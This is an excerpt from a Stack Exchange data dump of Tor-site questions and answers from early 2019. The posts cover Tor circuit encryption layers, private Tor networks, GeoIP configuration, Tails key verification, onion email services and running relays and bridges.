  <row Id="19492" PostTypeId="2" ParentId="19482" CreationDate="2019-02-24T02:27:04.403" Score="2" Body="&lt;p&gt;No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are referring to, even if Tor is set up as a VPN, is separate from normal network. Your ISP or cell provider will still know,or other apps if you have other location services on your device,like GPS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, website and apps, unless given location permission, won't be able to. Most of them tell from your IP, which Tor will hide&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-24T02:27:04.403" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19493" PostTypeId="2" ParentId="19484" CreationDate="2019-02-24T06:35:40.007" Score="2" Body="&lt;p&gt;The current implementation of Tor does &lt;strong&gt;not&lt;/strong&gt; use any padding in its circuit crypto. Different from the original OR paper, Tor later switched to a &quot;telescoping&quot; circuit building approach, with &lt;code&gt;RELAY&lt;/code&gt; cells encrypted with a stream cipher, so no cell size change is involved. (This might change in the future but not very near.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you build a circuit, it basically looks like this at the first hop (talking of TAP, in the case of ntor it will be slightly different):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Client ---(PKEnc(handshake, OnionKey1))--&amp;gt; Relay 1&#xA;Client &amp;lt;--(response)--- Relay 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Client and Relay 1 learns SymKey1 from the handshake. When extending to the second hop, you are sending the handshake over the already-built 1-hop circuit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Client ---(SymEnc(PKEnc(handshake, OnionKey2), SymKey1))--&amp;gt; Relay 1 ---(PKEnc(handshake, OnionKey2))--&amp;gt; Relay 2&#xA;Client &amp;lt;--(SymEnc(response, SymKey1))--- Relay 1 &amp;lt;--(response)--- Relay 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Relay 1 decrypts the handshake using SymKey1 and forwards it to Relay 2. Upon receiving the response from Relay 2, Relay 1 encrypts it using SymKey1 and sends back to Client. Client decrypts the response, learns a SymKey2 shared with Relay 2 and the 2-hop circuit is built. So is the third hop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Client ---(SymEnc(SymEnc(PKEnc(handshake, OnionKey3), SymKey2), SymKey1))--&amp;gt; Relay 1 ---(SymEnc(PKEnc(handshake, OnionKey3), SymKey2))--&amp;gt; Relay 2 ---(PKEnc(handshake, OnionKey3))--&amp;gt; Relay 3&#xA;Client &amp;lt;--(SymEnc(SymEnc(response, SymKey2), SymKey1))--- Relay 1 &amp;lt;--(SymEnc(response, SymKey2))--- Relay 2 &amp;lt;--(response)--- Relay 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for application data routed over the circuit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Client ---(SymEnc(SymEnc(SymEnc(data, SymKey3), SymKey2), SymKey1))--&amp;gt; Relay 1 ---(SymEnc(SymEnc(data, SymKey3), SymKey2))--&amp;gt; Relay 2 ---(SymEnc(data, SymKey3))--&amp;gt; Relay 3 ---(data)--&amp;gt; destination&#xA;Client &amp;lt;--(SymEnc(SymEnc(SymEnc(data, SymKey3), SymKey2), SymKey1))--- Relay 1 &amp;lt;--(SymEnc(SymEnc(data, SymKey3), SymKey2))--- Relay 2 &amp;lt;--(SymEnc(data, SymKey3))--- Relay 3 &amp;lt;--(data)--- destination&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All &lt;code&gt;SynEnc&lt;/code&gt; functions mentioned above are stream ciphers that produces ciphertexts of the same length as plaintexts. Consequently, cell sizes are kept unchanged between hops.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="4894" LastEditDate="2019-02-24T06:42:04.967" LastActivityDate="2019-02-24T06:42:04.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19494" PostTypeId="2" ParentId="19256" CreationDate="2019-02-24T07:38:10.760" Score="1" Body="&lt;p&gt;Your understanding is basically correct. The first create cell is indeed encrypted with 1 layer, the second 2 layers, the third 3 layers, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Tor takes a different approach when encrypting the second create cell. The second create cell is first encrypted with the public key of Relay 2, and next encrypted with the session key of Relay 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this: &lt;code&gt;SymmetricEncrypt(PublicKeyEncrypt(handshake, PublicKey_of_Relay_2), SessionKey_of_Relay_1)&lt;/code&gt;. Then Relay 1 decrypts it with its session key and forwards the decrypted create cell to Relay 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when extending to Relay 3: &lt;code&gt;SymmetricEncrypt(SymmetricEncrypt(PublicKeyEncrypt(handshake, PublicKey_of_Relay_3), SessionKey_of_Relay_2), SessionKey_of_Relay_1)&lt;/code&gt;. By only using session keys, we can still reveal the next target on a per-hop basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We call the Public Key &quot;onion key&quot;, and the Session Key &quot;circuit key&quot;. And when we extend to the second hop or farther we do not use &lt;code&gt;CREATE&lt;/code&gt; cells, but use &lt;code&gt;RELAY_EXTEND&lt;/code&gt; cells instead. Relay 2 reconstructs the &lt;code&gt;RELAY_EXTEND&lt;/code&gt; cell into a &lt;code&gt;CREATE&lt;/code&gt; cell to send to Relay 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your original questions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;does it encrypt the Create Cell(R3) with the temporarily Session Keys.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, with temporary session keys instead of public keys.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If it uses the Session Keys to encrypt why would we need the Public Keys, to identify the Relays?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Mostly yes. The public key encryption in TAP (the original Tor handshake protocol) serves multiple purposes. And in the new &quot;ntor&quot; handshake there is no public key encryption, but a different use of ECDH.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I thought the Session Key is only used for the response and the Public Keys for the Request, or do I understand something completly wrong?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The request is exactly one layer of public key encryption and a few layers of session-key symmetric encryption. The response does not make use of public encryption but only session-key encryption.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In my current view the Request has three layers of Encryption with the Public Keys, on each layer it reveals the next target to forward the message.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is exactly one layer of public key encryption.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The request is encrypted at each relay with the temporarily Session Key, the Client then can decrypt all three layers since it established these Key with the respective relay.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct. The same applies to the response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope &lt;a href=&quot;https://tor.stackexchange.com/a/19493/4894&quot;&gt;another answer of mine&lt;/a&gt; could be of help to you.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2019-02-24T07:38:10.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19496" PostTypeId="2" ParentId="19490" CreationDate="2019-02-24T15:16:09.663" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My company is looking to use Tor internally for our network, using our own directory authority server, and would like to know if it's possible and how to do it&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First of all, if your company have the ability to monitor all trafic, then your Tor network becomes useless, since it's going to be really easy to tell who is doing what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if your company can't do that, you need to dedicate a server for Directory authority, make sure it's IP is static and is maintains a good uptime. Also, it should be strongly protected from unauthorized access (latest updates, using &lt;a href=&quot;https://www.ssh.com/ssh/public-key-authentication&quot; rel=&quot;nofollow noreferrer&quot;&gt;ssh public key authentication&lt;/a&gt;, keeping sshs's private keys secure and so on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making Tor nodes use it is really simple. Use &lt;code&gt;DirAuthority&lt;/code&gt; option in &lt;code&gt;torrc&lt;/code&gt; config file to set it up and thats it! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a minimum of 3 tor nodes, one of which is an exit (I recommend using at least 9). Try to keep the amount of exit nodes proportionate to the amount of middle and guard nodes. The more tor nodes you add, the harder it becomes to perform &lt;a href=&quot;https://security.stackexchange.com/questions/147402/how-do-traffic-correlation-attacks-against-tor-users-work&quot;&gt;end-to-end confirmation attacks&lt;/a&gt;, because you need to monitor a lot more computers for it. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bonus points if we could use it for private external access&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can setup some kind of proxy for that purpuse and use it from Tor.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-24T15:16:09.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19498" PostTypeId="2" ParentId="18006" CreationDate="2019-02-25T20:03:12.913" Score="1" Body="&lt;p&gt;It seems they run a Varnish caching server in front of their page. The server tries to find out if someone connects over Tor and blocks this connection. I tried to use &lt;a href=&quot;http://archive.is&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archive.is&lt;/a&gt; and to retrieve a copy of the website. This worked. So if you visit &lt;a href=&quot;http://archivecaslytosk.onion/jBtl8&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archivecaslytosk.onion/jBtl8&lt;/a&gt; over Tor you can see the current version of the site.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-02-25T20:03:12.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19499" PostTypeId="2" ParentId="19487" CreationDate="2019-02-25T22:58:07.943" Score="0" Body="&lt;p&gt;I took the &lt;a href=&quot;https://tails.boum.org/tails-signing.key&quot; rel=&quot;nofollow noreferrer&quot;&gt;tails signing key&lt;/a&gt; and downloaded it. After that I used &lt;code&gt;gpg&lt;/code&gt; to import the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --import tails-signing.key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that the key is imported I can enter your command. The output is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ~&amp;gt; gpg --with-fingerprint --with-subkey-fingerprints --list-key DBB802B258ACD84F&#xA;pub   rsa4096 2015-01-18 [C] [expires: 2020-01-11]&#xA;      A490 D0F4 D311 A415 3E2B  B7CA DBB8 02B2 58AC D84F&#xA;uid           [ unknown] Tails developers (offline long-term identity key) &amp;lt;tails@boum.org&amp;gt;&#xA;uid           [ unknown] Tails developers &amp;lt;tails@boum.org&amp;gt;&#xA;sub   rsa4096 2017-08-28 [S] [expires: 2020-01-11]&#xA;      0546 9FB8 5EAD 6589 B43D  41D3 D21D AD38 AF28 1C0B&#xA;sub   rsa4096 2017-08-28 [S] [expires: 2020-01-11]&#xA;      2FAF 9BA0 D65B B371 F0BC  2D46 3020 A7A9 C2B7 2733&#xA;sub   ed25519 2017-08-28 [S] [expires: 2020-01-11]&#xA;      CD4D 4351 AFA6 933F 574A  9AFB 90B2 B4BD 7AED 235F&#xA;sub   rsa4096 2018-08-30 [S] [expires: 2020-01-11]&#xA;      FE02 9CB4 AAD4 788E 1D78  28E8 A8B0 F4E4 5B1B 50E2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-02-25T22:58:07.943" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19500" PostTypeId="2" ParentId="19483" CreationDate="2019-02-25T23:18:59.763" Score="0" Body="&lt;p&gt;Tor needs information about the location of those relays. It uses a so-called GeoIP file. Usually this comes with your Tor client. You can also download it from &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/config/geoip&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you look at your log message, there is one line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;févr. 24 14:38:56.904 [Avertissement] Failed to open GEOIP file C:\Users\Truc\AppData\Roaming\tor\geoip.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means Tor was not able to find that find. So Tor doesn't which nodes are located in the countries. Thatswhy you find this line in the log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your configuration excludes 100% of &#xA;  all possible guards. That's likely to make you stand out from the rest of &#xA;  the world.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So one way to solve it would be to download the GeoIP file and set the option &lt;code&gt;GeoIPFile&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GeoIPFile C:\Users\Truc\path\to\the\file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you restart Tor it should connect to the network.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-02-25T23:18:59.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19505" PostTypeId="2" ParentId="19254" CreationDate="2019-02-26T20:01:07.710" Score="1" Body="&lt;p&gt;Those &quot;unused DT entry&quot; messages mean that either your app crashes or it generates lots of error messages. Probably Tor was cross-compiled with wrong or deprecated compilation flags. In my opinion the best is to &lt;a href=&quot;https://trac.torproject.org/projects/tor/query?status=accepted&amp;amp;status=assigned&amp;amp;status=needs_information&amp;amp;status=needs_review&amp;amp;status=needs_revision&amp;amp;status=new&amp;amp;status=reopened&amp;amp;component=Applications%2FOrbot&amp;amp;group=type&amp;amp;col=id&amp;amp;col=summary&amp;amp;col=component&amp;amp;col=status&amp;amp;col=type&amp;amp;col=priority&amp;amp;col=milestone&amp;amp;col=points&amp;amp;report=14&amp;amp;order=priority&quot; rel=&quot;nofollow noreferrer&quot;&gt;enter a bug report&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://stackoverflow.com/a/41900551/391761&quot;&gt;answer on Stackoverflow&lt;/a&gt; has more details about the message.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-02-26T20:01:07.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19506" PostTypeId="2" ParentId="17423" CreationDate="2019-02-27T00:39:40.313" Score="1" Body="&lt;p&gt;I recommend deleting the application, and re-installing.&#xA;Download the version of Tor compatible with your machine from &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check whether your system is 64-bit or 32-bit by opening a terminal and typing &lt;code&gt;getconf LONG_BIT&lt;/code&gt;.  The number returned determines which version of Tor you will download.&lt;/p&gt;&#xA;" OwnerUserId="25371" LastActivityDate="2019-02-27T00:39:40.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19510" PostTypeId="1" CreationDate="2019-02-27T12:24:46.803" Score="0" ViewCount="460" Body="&lt;p&gt;I have read the document of &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem&lt;/a&gt;. I notice that &lt;code&gt;new_circuit()&lt;/code&gt; and &lt;code&gt;extend_circuit()&lt;/code&gt; can create new circuit.However,I have two problems:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I can't make sure when I create a new circuit, will the old circuit  be killed, because I notice the circuit's life-time just 10 minutes. I mean  will there be 2 circuits after I created a new one?  &lt;/li&gt;&#xA;&lt;li&gt;If the previous circuit can be used after I create new circuit.&#xA;Assume that I have created 5 new circuits and I want to send  4G-size file, to improve transmission efficiency ,how can I use these 5 circuits to transmit data together at the same time? I mean let the five circuits transmit the data of this file at the same time, instead of using one of them for a while, and switch to another circuit.(so I can't just use &lt;code&gt;attach_stream()&lt;/code&gt; and &lt;code&gt;controller.set_conf('__LeaveStreamsUnattached', '1')&lt;/code&gt; to attach the stream to one circuit like &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/6917/how-to-assign-a-stream-to-a-circuit&quot;&gt;How to assign a stream to a circuit?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me figure out two question?Thanks!&lt;/p&gt;&#xA;" OwnerUserId="25327" LastEditorUserId="88" LastEditDate="2019-02-27T17:23:21.263" LastActivityDate="2019-11-27T21:01:30.367" Title="The problem about stem's new_circuit and extend_circuit?" Tags="|circuit|python|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19511" PostTypeId="1" AcceptedAnswerId="19667" CreationDate="2019-02-27T20:39:16.840" Score="0" ViewCount="394" Body="&lt;p&gt;(Forgive me, I don't know whether to post this here for in the &quot;Information Security&quot; community) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm brand new to Tor, I understand the basics of how it works and the Do's &amp;amp; Don'ts. I have a Windows 10 computer (Fully up to date) with Virtual Box installed. Within the VB I have Linux Mint installed, set up and ready to go. I have also downloaded the Tor browser from the official website. However when I boot the browser it asks me if I want to just connect and go, or if I want to configure the browser if I have a VPN running. Thing is my Host Windows 10 system has ProtonVPN installed and active. So my question is do I need to configure the Tor browser even though the VPN is on the host? If I do need to configure it, how do I do that? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="25382" LastActivityDate="2019-03-29T03:14:33.997" Title="How to set up the Tor browser on Linux Mint in a VM with a VPN on the Host" Tags="|tor-browser-bundle|windows|linux|vpn|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19514" PostTypeId="2" ParentId="9153" CreationDate="2019-02-28T22:35:39.047" Score="1" Body="&lt;p&gt;Currently it seems not possible to do this. Tails is thought to be a live operating system for an end user. While you can remove all the GUI features (&lt;code&gt;apt purge …&lt;/code&gt;), they'll be present at the next reboot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://tor.stackexchange.com/questions/9153/tails-without-desktop#comment12317_9153&quot;&gt;one of the commenters&lt;/a&gt; wrote tails is thinking about a &lt;a href=&quot;https://tails.boum.org/blueprint/tails_server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tails server&lt;/a&gt;. If they realise this feature, you'll be able to use it headless as a secure server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However at the moment you can't get such a version of tails.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-02-28T22:35:39.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19517" PostTypeId="2" ParentId="12394" CreationDate="2019-03-01T06:34:53.870" Score="0" Body="&lt;p&gt;As @berurier mentioned, you may use Proton mail or there is another mail server named &lt;a href=&quot;http://en.onionmail.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionMail&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can run your own hidden mail service, accessible from TOR. If you add public IP and domain to the server, others can send you emails too. You can check my blog post about running &lt;a href=&quot;https://mstajbakhsh.ir/configuring-a-hidden-email-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hidden mail service&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the final point, I've added SOCKs proxy support to the K9, Open Source Android Mail Client which can be connected to the TOR network for accessing hidden mail services. The description and tutorial can be found &lt;a href=&quot;https://mstajbakhsh.ir/my-contribution-in-k9-android-mail-client/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source code is available in &lt;a href=&quot;https://github.com/mirsamantajbakhsh/k-9&quot; rel=&quot;nofollow noreferrer&quot;&gt;my GitHub&lt;/a&gt; and you can find the pull request &lt;a href=&quot;https://github.com/k9mail/k-9/pull/3889&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-01T06:34:53.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19518" PostTypeId="2" ParentId="17587" CreationDate="2019-03-01T06:40:18.997" Score="0" Body="&lt;p&gt;I'm not coding in perl and do not know the behavior of perl, but mainly the executer first tries to resolve the onion address and then add the proxy to the socket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In java, you should create an unresolved socket which will try to resolve it through SOCKs proxy. You check my answer and code in java, in &lt;a href=&quot;https://tor.stackexchange.com/questions/13763/how-can-i-figure-out-how-to-use-tor-in-my-java-application/16133#16133&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you want your own hidden mail server, maybe my blog post can help you. &lt;a href=&quot;https://mstajbakhsh.ir/configuring-a-hidden-email-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Configuring a Hidden Email Server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-01T06:40:18.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19519" PostTypeId="2" ParentId="12540" CreationDate="2019-03-01T06:43:55.503" Score="0" Body="&lt;p&gt;Maybe using other mail client can solve the problem, for example thunderbird which can be run on Windows and *nix systems. My tutorial about configuring thunderbird in order to be used in TOR network, can be found &lt;a href=&quot;https://mstajbakhsh.ir/connecting-to-hidden-mail-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a mail client on Android, check &lt;a href=&quot;https://mstajbakhsh.ir/my-contribution-in-k9-android-mail-client/&quot; rel=&quot;nofollow noreferrer&quot;&gt;my contribution&lt;/a&gt; in K9 Android mail client. You can find the source code on &lt;a href=&quot;https://github.com/mirsamantajbakhsh/k-9&quot; rel=&quot;nofollow noreferrer&quot;&gt;my GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-01T06:43:55.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19520" PostTypeId="2" ParentId="6005" CreationDate="2019-03-01T07:05:42.130" Score="1" Body="&lt;p&gt;Yes it is possible. But if your client accept resolving Onion addresses through SOCKS proxy. As an example, if you are developing own code, &lt;a href=&quot;https://tor.stackexchange.com/questions/13763/how-can-i-figure-out-how-to-use-tor-in-my-java-application/16133#16133&quot;&gt;here&lt;/a&gt; is the way you should build your socket using UnresolvedSocket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are planning your own hidden mail server, you can configure hidden mail server behind TOR. &lt;a href=&quot;https://mstajbakhsh.ir/configuring-a-hidden-email-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;My blog post about configuring hidden mail service&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you are planning to configure your mail client, you can configure thunderbird with TOR. &lt;a href=&quot;https://mstajbakhsh.ir/connecting-to-hidden-mail-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;My blog post about configuring thunderbird with TOR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or my contribution in K9 Mail, Android Mail Client for adding SOCKS proxy support which can be used to connecting to TOR. &lt;a href=&quot;https://mstajbakhsh.ir/my-contribution-in-k9-android-mail-client/&quot; rel=&quot;nofollow noreferrer&quot;&gt;My blog post about configuring K9 Android client for using TOR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DlMTl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DlMTl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-01T07:05:42.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19521" PostTypeId="2" ParentId="12394" CreationDate="2019-03-01T08:16:12.483" Score="0" Body="&lt;p&gt;Why don't you just use tor for your thunderbird as below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2o5pz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2o5pz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure &quot;Proxy DNS&quot; is checked.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2019-03-01T08:16:12.483" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19522" PostTypeId="2" ParentId="12394" CreationDate="2019-03-01T15:06:07.393" Score="1" Body="&lt;p&gt;The Whonix wiki has a useful page with email providers useable trough Tor, some of them offering hidden services, at &lt;a href=&quot;https://www.whonix.org/wiki/E-Mail#Onion_Service_Providers&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/E-Mail#Onion_Service_Providers&lt;/a&gt; . Another list at &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/EmailProvider&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/EmailProvider&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mailbox.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mailbox.org&lt;/a&gt; is a provider which requires no personal information on registration, no activation trough another existing email account and has a 30 day trial. They have an onion service and their own exit node if you want to use it.&#xA;They, like any other provider should not be fully trusted so OpenPGP can be used for additional security.&lt;/p&gt;&#xA;" OwnerUserId="25356" LastActivityDate="2019-03-01T15:06:07.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19524" PostTypeId="1" CreationDate="2019-03-02T05:59:29.583" Score="3" ViewCount="3741" Body="&lt;p&gt;Tor is awesome, but to get maximum security, you should use the .onion pages. DuckDuckGo has an &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.onion version of its search site&lt;/a&gt;, but is there an equivalent for Google?&lt;/p&gt;&#xA;" OwnerUserId="25398" LastActivityDate="2021-05-24T00:06:32.970" Title="Is there an .onion page for Google?" Tags="|anonymity|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19526" PostTypeId="2" ParentId="19488" CreationDate="2019-03-02T09:19:41.453" Score="0" Body="&lt;p&gt;Answer to your question:&#xA;you can join an exit node to the TOR network even if you are behind VPN. Therefore, I think you can set a VPN connection to the VPN server in the exit relay computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it is not the direct answer but you can connect to the VPN server using TOR. Check out my solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mstajbakhsh.ir/socks-rocks-again/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mstajbakhsh.ir/socks-rocks-again/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastEditorUserId="19920" LastEditDate="2019-03-02T21:01:43.603" LastActivityDate="2019-03-02T21:01:43.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19527" PostTypeId="1" AcceptedAnswerId="19531" CreationDate="2019-03-02T10:48:22.950" Score="1" ViewCount="257" Body="&lt;p&gt;I was thinking of having a crawler visit all the pages on the dark web. But there's no broad similarity in the way the websites are named. &lt;/p&gt;&#xA;" OwnerUserId="23668" LastActivityDate="2019-03-08T14:27:22.137" Title="How to map the deep web?" Tags="|website|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19529" PostTypeId="1" AcceptedAnswerId="19569" CreationDate="2019-03-02T19:50:44.590" Score="0" ViewCount="391" Body="&lt;p&gt;I am attempting to run both a relay and a bridge on the same server. I have gotten it to start with &lt;code&gt;tor -f /etc/tor1/torrc&lt;/code&gt; but I'm not sure it's staying running, and I'm not sure that'll run on boot. No keys or fingerprint are generated (I am using separate ports for the bridge)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I cannot control the bridge instance using nyx. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I can confirm the second instance of Tor won't stay running. As soon as the output of 'opened or listener' comes, it dies. I however started the second one not via systemd, and the first one I did&lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2019-03-04T01:15:18.897" LastActivityDate="2019-03-08T18:08:59.377" Title="Run both bridge and relay &amp; control with nyx" Tags="|relays|bridge|ubuntu|nyx|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
